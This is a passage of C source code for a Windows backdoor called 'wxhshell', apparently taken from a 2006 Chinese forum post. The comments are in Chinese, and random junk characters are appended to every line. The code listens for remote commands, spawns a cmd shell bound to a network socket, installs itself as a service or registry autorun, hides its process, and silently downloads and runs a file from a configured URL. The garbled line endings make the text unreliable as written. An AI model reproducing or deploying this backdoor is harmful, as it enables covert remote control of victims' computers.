  case 'i': { (IPY^>h  
    if(Install()) >+[&3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nWHa.H#  
    else ,#8e_3Z$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^,]B@ t2  
    break; <wAFy>7  
    } % $DI^yS  
  // 卸载 9`9R!=NM  
  case 'r': { b3VS\[p  
    if(Uninstall()) $r3i2N-I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6VhjJJ  
    else tzh1s i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,tg0L$qC  
    break; CH<E,Z C1T  
    } gatB QwJb9  
  // 显示 wxhshell 所在路径 .e3+s*  
  case 'p': { SZXY/~=h  
    char svExeFile[MAX_PATH]; Z@$8I{}G  
    strcpy(svExeFile,"\n\r"); Nj 00W1  
      strcat(svExeFile,ExeFile); G}G#i`6o  
        send(wsh,svExeFile,strlen(svExeFile),0); %x} O1yV  
    break; "T- `$'9  
    } #KiRfx4G  
  // 重启 Qg<(u?7N  
  case 'b': { 9*(aU z9j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IOV(seEY  
    if(Boot(REBOOT)) h?azFA~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /n8B,-Z5s5  
    else { Kc^;vT>3  
    closesocket(wsh); z'EajBB\f  
    ExitThread(0); D N*t~Z3[  
    } Xqm::1(-(  
    break; ~((w?Yy"v  
    } 9uQ 4u/F  
  // 关机 $ <#KA3o\  
  case 'd': { 2]ape !(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4tS.G  
    if(Boot(SHUTDOWN)) 1{r)L{]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KFwzy U"  
    else { xcf%KXJf6  
    closesocket(wsh); GHeVp/u  
    ExitThread(0); h^o{@/2  
    } {b   
    break; heK7pH7;d  
    } byfJy^8G  
  // 获取shell Q(oN/y3,  
  case 's': { gE?| _x#  
    CmdShell(wsh); |Xk4&sDrK  
    closesocket(wsh); u9EgdpD  
    ExitThread(0); hBX!iukT|{  
    break; "UJ S5[7$  
  } ixT:)|'i  
  // 退出 mA=i)Ga  
  case 'x': { 8!Ww J Oe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a,WICv0E  
    CloseIt(wsh); 2mGaD\?K  
    break; ]f({`&K5  
    } XnWr5-;  
  // 离开 vsl]92xI  
  case 'q': { ]@Uq=?%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rw:*'1  
    closesocket(wsh); @("a.;1#o  
    WSACleanup(); uD @#  
    exit(1); E }nH1  
    break; &?yZv {  
        } R'@9]99  
  } _zwG\I|Q  
  } j+,d^!  
DRi<6Ob  
  // 提示信息 k+ty>bP=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @6]sNm  
} ?3.b{Cq{-  
  } j4uvS!  
428>BQA  
  return; ?I~()]k5  
} V1 3N}]  
&RnTzqv  
// shell模块句柄 wlqpn(XR  
int CmdShell(SOCKET sock) Bx4w)9+3  
{ +2&@x=xy  
STARTUPINFO si; R&BTA  
ZeroMemory(&si,sizeof(si)); ;CPr]avY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jT]0WS-b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /! "|_W|n  
PROCESS_INFORMATION ProcessInfo; ~ijVmWNk  
char cmdline[]="cmd"; K)DDk9*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z;|A(*Y  
  return 0; uJC~LC N  
} n T{3o;A  
dE4L=sTEsy  
// 自身启动模式 |n,<1QY  
int StartFromService(void) rp!oO>F  
{ )\J+Kiy)  
typedef struct 4;0lvDD  
{ 5BlR1*  
  DWORD ExitStatus; A|X">,A  
  DWORD PebBaseAddress; #AL=f'2=f  
  DWORD AffinityMask; O06"bi5Y  
  DWORD BasePriority; @oV9)  
  ULONG UniqueProcessId; S/e2P|}  
  ULONG InheritedFromUniqueProcessId; ZK@N5/H(  
}   PROCESS_BASIC_INFORMATION; +RYls|f  
QD:{U8YbF$  
PROCNTQSIP NtQueryInformationProcess; p8h9Ng* &`  
w1OI4C)~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gT0BkwIV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C1m]*}U  
Z\ja  
  HANDLE             hProcess; > dI LF  
  PROCESS_BASIC_INFORMATION pbi; ZaV8qAsP  
XBb~\p3y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;>?rP88t  
  if(NULL == hInst ) return 0;  a1t4Dd  
XINu=N(g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,!Z *5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {f2S/$q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C/vI EYG4  
T_@K& <  
  if (!NtQueryInformationProcess) return 0; E[@ u 3i8  
D6>2s\:>vp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )4<__|52"1  
  if(!hProcess) return 0; naYrpK,.  
:D%"EJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /H(? 2IHC  
pb ~u E  
  CloseHandle(hProcess); :(!` /#6H  
bm?sbE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #LL?IRH9^  
if(hProcess==NULL) return 0; |)b6>.^  
)Ch2E|C?=8  
HMODULE hMod; 4'g;TI^  
char procName[255]; s:/8[(A  
unsigned long cbNeeded; gQxbi1!;9  
{*0<T|<n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8S mCpg  
9`I _Et  
  CloseHandle(hProcess); hb zC#@ q  
1zm ulj%&  
if(strstr(procName,"services")) return 1; // 以服务启动 ] >LhkA@V  
:PIF07$xl  
  return 0; // 注册表启动 R7$:@<:g  
} 7n8~K3~;  
ryW'Z{+r'  
// 主模块  [F0s!,P  
int StartWxhshell(LPSTR lpCmdLine) cZB7fmq%  
{ Ox&P}P0f  
  SOCKET wsl; < Z{HX[y  
BOOL val=TRUE; - }7e:!.  
  int port=0; ^?0DP >XA  
  struct sockaddr_in door; ^W'fA{sr  
cC=[Saatsf  
  if(wscfg.ws_autoins) Install(); v, n$^R  
<tF9V Jq  
port=atoi(lpCmdLine); C${Vg{g7a  
R< ,`[*Z  
if(port<=0) port=wscfg.ws_port; "!Uqcay-  
zEd0Tmt  
  WSADATA data; k9:{9wW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,k{#S?:b  
vwjPmOjhS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [Sr,h0h6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mn9dqq~a  
  door.sin_family = AF_INET; {5%5}[/x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); co~Pyj  
  door.sin_port = htons(port); $ACvV "b  
qfL~Wp2E;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |uqf:V`z:  
closesocket(wsl); $FlW1E j  
return 1; Bg&i63XL$$  
} [s"O mAy4  
lsNrAA%m  
  if(listen(wsl,2) == INVALID_SOCKET) { P|.]DJ  
closesocket(wsl); : >6F+XZ  
return 1;  {Or;  
} i=i(%yQ%  
  Wxhshell(wsl); 3Mxp)uG/  
  WSACleanup(); jX3,c%aQ5e  
qQA}Z*( m  
return 0; kSR\RuY*  
.q%WuQw  
} plb!.g  
o*DN4oa)  
// 以NT服务方式启动 AG!w4Ky`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :uWw8`  
{ e?7& M  
DWORD   status = 0; \hBG<nH{0  
  DWORD   specificError = 0xfffffff; `8^TTQ  
k.uMp<)D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jp0<pw_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]z l [H7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =x<ge_Y  
  serviceStatus.dwWin32ExitCode     = 0; k`0>36  
  serviceStatus.dwServiceSpecificExitCode = 0; /LO -HnJ  
  serviceStatus.dwCheckPoint       = 0; -i)ZQCE  
  serviceStatus.dwWaitHint       = 0; |&FkksNAl\  
y^%n'h{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &;D8]7d  
  if (hServiceStatusHandle==0) return; ^r*r w=  
=bHD#o|R  
status = GetLastError(); t^6dzrF  
  if (status!=NO_ERROR) &K.?p2$X  
{ a#>Yh;FA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U-IpH+E  
    serviceStatus.dwCheckPoint       = 0; #a<Gxj  
    serviceStatus.dwWaitHint       = 0; xL{a  
    serviceStatus.dwWin32ExitCode     = status; VO$ iNK  
    serviceStatus.dwServiceSpecificExitCode = specificError; NMa} <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AQ_|:  
    return; 5\e9@1Rc  
  } c )G3k/T5  
!{^PO <9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gREzZ+([  
  serviceStatus.dwCheckPoint       = 0; :P<]+\m  
  serviceStatus.dwWaitHint       = 0; ?)u@Rf9>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #)C[5?{SNq  
} [/Rf\T(,jn  
P %#<I}0C  
// 处理NT服务事件,比如:启动、停止 CitDm1DXt/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YhDtUt}?  
{ n2oz"<?$S  
switch(fdwControl) 4|CtRF<L  
{ P*I}yPeb  
case SERVICE_CONTROL_STOP: :E:38q,hG  
  serviceStatus.dwWin32ExitCode = 0; 8$0rR55  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;i<|9{;  
  serviceStatus.dwCheckPoint   = 0; 4<k9?)~(J  
  serviceStatus.dwWaitHint     = 0; P@9t;dZN  
  { %`&2+\`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kzt(i Y_6  
  } zmSUw}-4 N  
  return; )XYv}U   
case SERVICE_CONTROL_PAUSE: k +H3Bq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g7O qX \  
  break; 4:r!|PJn{G  
case SERVICE_CONTROL_CONTINUE: WJ4li@T7V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rvnT6Ve  
  break; ,u`B<heoLU  
case SERVICE_CONTROL_INTERROGATE: 4cl\^yD  
  break; m<j8cJ(  
}; f!!V${)X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .HkL2m  
} K':K{ee>  
( 5tvfz%  
// 标准应用程序主函数 r[lF<2&*R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <gJU?$  
{ Il= W,/y  
f] J M /  
// 获取操作系统版本 >(?9?  
OsIsNt=GetOsVer(); L1Iz<>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Jme!Oaa  
d5D$&5Ec  
  // 从命令行安装 ni<A3OB  
  if(strpbrk(lpCmdLine,"iI")) Install(); J|w\@inQ  
FE2f'e  
  // 下载执行文件 `"&d a#N]  
if(wscfg.ws_downexe) { d*~ ICir7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L:1^Kxg  
  WinExec(wscfg.ws_filenam,SW_HIDE); b0Kc^uj5  
} RV5n,J  
j}~86JO+Cw  
if(!OsIsNt) { HA2k [F@3^  
// 如果时win9x,隐藏进程并且设置为注册表启动 D (h18  
HideProc(); ZE2$I^DY-  
StartWxhshell(lpCmdLine); q.2ykL  
} Lz:(6`S  
else BI $   
  if(StartFromService()) mw='dFt  
  // 以服务方式启动 5lm<%  
  StartServiceCtrlDispatcher(DispatchTable); _g~qu [1  
else (Nx;0"5IX  
  // 普通方式启动 +eX@U;J,g  
  StartWxhshell(lpCmdLine); p TeOW9  
`.x Fiyc  
return 0; /ew Ukc8,  
}
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只看该作者 1 发表于: 2006-10-10
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